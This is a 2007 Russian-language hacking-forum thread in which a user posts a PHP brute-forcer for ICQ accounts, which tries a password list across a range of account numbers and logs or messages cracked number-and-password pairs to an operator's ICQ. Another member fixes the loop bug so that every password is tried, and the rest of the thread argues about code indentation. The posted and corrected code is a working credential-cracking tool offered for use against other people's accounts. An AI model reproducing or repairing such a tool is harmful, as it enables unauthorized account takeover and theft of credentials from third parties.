Помогите с брутом на php!

Discussion in 'PHP' started by Hormold, 18 Jul 2007.

  1. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    Вот пишу брут на php...
    Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
    Вот код:
    PHP:
    <?
    $good="good.txt";
    $bad="bad.txt";
    if (@
    socket_create()) {
    echo 
    "<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
    exit();
    }
    error_reporting(0);
    set_time_limit(0);
    ignore_user_abort(1);
    if(!empty(
    $_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
    {
    $plist explode("\n"$_GET["pass"]);
    $icq     = new WebIcqLite();
    if (empty(
    $uin))
    {
        
    $uin $_GET["uin_start"];
    }
    elseif (
    $_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0
    {
    exit();
    }
    else
    {
    $uin++;
    }
    for (
    $i 0$i <= count($plist)-1$i++)
    {
    $new_pass trim($plist[$i]);
    }

    if(
    $icq->connect($uin$new_pass))
    {
    $file fopen($good"a+");
    fwrite($file$uin.";".$new_pass."\n");
    fclose($file);
    if (
    $_GET["send"] == "icq"
    {
    $icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
    }

    }
    else
    {
    $badfile fopen($bad"a");
    fwrite($badfile$uin.";".$new_pass."\n");
    fclose($badfile);
    }
    }else{
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>MINI BRUTE BY HoRmOlD</title>

    </head>

    <body>
    <center>
      <table width="703" height="272" border="0">
      <tr>
        <td height="56"><center>
          <font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
        </center>
          </td>
      </tr>
      <tr>
        <td><center>
          <p>&nbsp;</p>
          <form method="get">
            <p>С какого номера начать:
                <input type="text" name="uin_start" />
            </p>
            <p>Каким закончить:
                <input type="text" name="uin_end" />
            </p>
            <p>Пароли(Не больше трёх):</p>
            <p>
                <textarea name="pass" cols="30" rows="5"></textarea>
            </p>
            <p>Если сбручен номер то: 
            <select name="send" size="1" >
    <option value="icq" selected>На ICQ
    <option value="0">Просто записать в good.txt
    </select><BR>
            Номер icq админа:
              <input type="text" name="admin" />
              <INPUT TYPE="hidden" name="start" value="1">
    </p>
            <p>
              <input name="Submit" type="submit" value="Брутить" />
            </p>
          </form>
          <p>(C) HoRmOlD</p>
          <p>&nbsp;      </p>
        </center>
        
        
        </td>
      </tr>
    </table></center>
    </body>
    </html>

    <?
    ///END BRUTE CODE
    }
    //Тут идёт WebIcqLite, нестал помещать из за размера!!!
    ?>
     
  2. GoreMaster

    GoreMaster Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    119
    Likes Received:
    32
    Reputations:
    4
    Засунь в цикл проверку
    Code:
    if($icq->connect($uin, $new_pass)).... 
    PHP:
    for ($i 0$i <= count($plist)-1$i++)
    {
    $new_pass trim($plist[$i]);
    В этот цикл
    PHP:
    <?php
    for ($i 0$i <= count($plist)-1$i++){ 
    if(
    $icq->connect($uin$new_pass)){
    $file fopen($good"a+");
    fwrite($file$uin.";".$new_pass."\n");
    fclose($file);
    if (
    $_GET["send"] == "icq"){
    $icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
    }
    }
    else{
    $badfile fopen($bad"a");
    fwrite($badfile$uin.";".$new_pass."\n");
    fclose($badfile);

    }
    ?>
    Вроде так
    З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)
     
    #2 GoreMaster, 18 Jul 2007
    Last edited: 18 Jul 2007
  3. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    А всё спасибо :)
    А то сначало не понял :))
     
  4. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    Про это(З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем))
    я искал ошибки и всё разложил так чтобы было удобно!
     
  5. GoreMaster

    GoreMaster Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    119
    Likes Received:
    32
    Reputations:
    4
    Поставь Zend Studio там есть функция Ident Code, которая делает твой код читабельным и удаляет лишник отступы.
    З.Ы.:не знаб есть ли в других редакторах такая фукнция
     
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Я считаю красивый код такой:
    PHP:
    <?php
        error_reporting
    (0);
        
    set_time_limit(0);
        
    ignore_user_abort(1);
        
        
    $good     'good.txt';
        
    $bad    'bad.txt';
        
        if (@
    socket_create())
        exit(
    '<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>');

        if(!empty(
    $_GET['pass']) && $_GET['uin_start'] && $_GET['uin_end'])
        {
            
    $plist explode("\n"$_GET['pass']);
            
    $icq     = new WebIcqLite();
        if(empty(
    $uin))
        {
            
    $uin $_GET['uin_start'];
        }
        elseif(
    $_GET['uin_end'] == $uin && $_GET['uin_rand'] == 0) exit();
        else 
    $uin++;
        
        for(
    $i 0$i <= count($plist)-1$i++)
        {
            
    $new_pass trim($plist[$i]);
        }

        if(
    $icq->connect($uin$new_pass))
        {
            
    $file fopen($good'a+');
            
    fwrite($file$uin.";".$new_pass."\n");
            
    fclose($file);
            if (
    $_GET['send'] == 'icq')
            
    $icq->send_message($_GET['admin'], "Сбручен номер:\n".$uin.";".$current_pass);
        }
        else
        {
            
    $badfile fopen($bad'a');
            
    fwrite($badfile$uin.";".$new_pass."\n");
            
    fclose($badfile);
        }
        
        } 
        else
        {
    ?>
    html
    <?php
        
    }
    ?>
     
  7. GoreMaster

    GoreMaster Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    119
    Likes Received:
    32
    Reputations:
    4
    У каждого свое представление о красоте,но когда речь идет о программном коде,то здесь главное читаемость,а не красота. :)
    Вроде существуют каноны,по котоым следует оформлять код
    P.S.: не оффтопь
     
  8. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    GoreMaster, красивый код это и есть "читаемость"...
    Разве нет?
     
  9. GoreMaster

    GoreMaster Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    119
    Likes Received:
    32
    Reputations:
    4
    Нет,так как понятие красоты понятие субъективное,мне вот не нравится твое оформление кода,но он читаем.
    Меня напрягают отступы вначале и пробелы ИМХО лишние между условиями.
     
    #9 GoreMaster, 19 Jul 2007
    Last edited: 19 Jul 2007
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Мда..вы смешной =\
    Прочитайте про стили оформления..
    Отступ слева должен быть всегда - это дефолт!
     
  11. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Отступа слева быть не должно. Посмотри в исходники Zend Framework, который уж точно соответствует стандартам - там нет ни одного отступа на "корневом" уровне.